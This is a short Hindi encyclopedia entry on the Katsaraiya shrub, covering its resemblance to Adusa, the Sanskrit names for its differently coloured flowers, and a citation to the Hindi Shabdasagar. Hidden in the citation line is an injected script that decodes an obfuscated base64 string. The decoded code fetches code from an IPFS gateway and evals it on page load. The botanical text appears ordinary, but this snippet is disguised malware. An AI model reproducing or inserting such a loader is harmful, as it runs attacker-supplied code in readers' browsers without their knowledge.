कटसरैया

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कटसरैया - (संज्ञा स्त्रीलिंग [सं० कटसारिका ] हिन्दी)[1] अडूसे (वसाका या अडूसा एक द्विबीजपत्री झाड़ीदार पौधा है। यह एकेन्थेसिया परिवार का पौधा है। इसकी पत्तियाँ लम्बी होती हैं और तनों की पर्वसन्धियों पर सम्मुख क्रम में सजी रहती हैं। इसके फूल का रंग सफेद एवं पुष्पमंजरी गुच्छेदार होती है।) की तरह का एक कांटेदार पौधा होता है।

विशेष – इसमें पीले, लाल, नीले और सफेद कई रंग के फूल लगते हैं। लाल फूलवाली कटसरैया को संस्कृत में 'कुरवक' पीले फूलवाली को 'कुटक', नीले फूलवाली को 'आतंगल' और सफेद फूलवाली को 'सैरेयक' कहते हैं । कटसरैया कार्तिक में फूलती है ।


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टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 749 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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